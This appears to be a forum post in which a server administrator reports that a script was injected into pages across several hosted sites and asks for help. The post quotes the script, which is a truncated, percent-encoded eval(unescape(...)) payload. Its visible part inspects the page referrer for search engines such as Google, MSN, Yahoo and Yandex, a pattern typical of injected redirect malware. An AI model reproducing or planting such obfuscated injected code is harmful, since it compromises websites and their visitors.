script added automatically

 hi all,
 
 In my server many sites are running, but suddenly the following script is added  in my site pages automatically
 
<script>eval( unescape( "%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71%2c%71%75%65%2c%73%65%3d%22%67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65%78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64 ...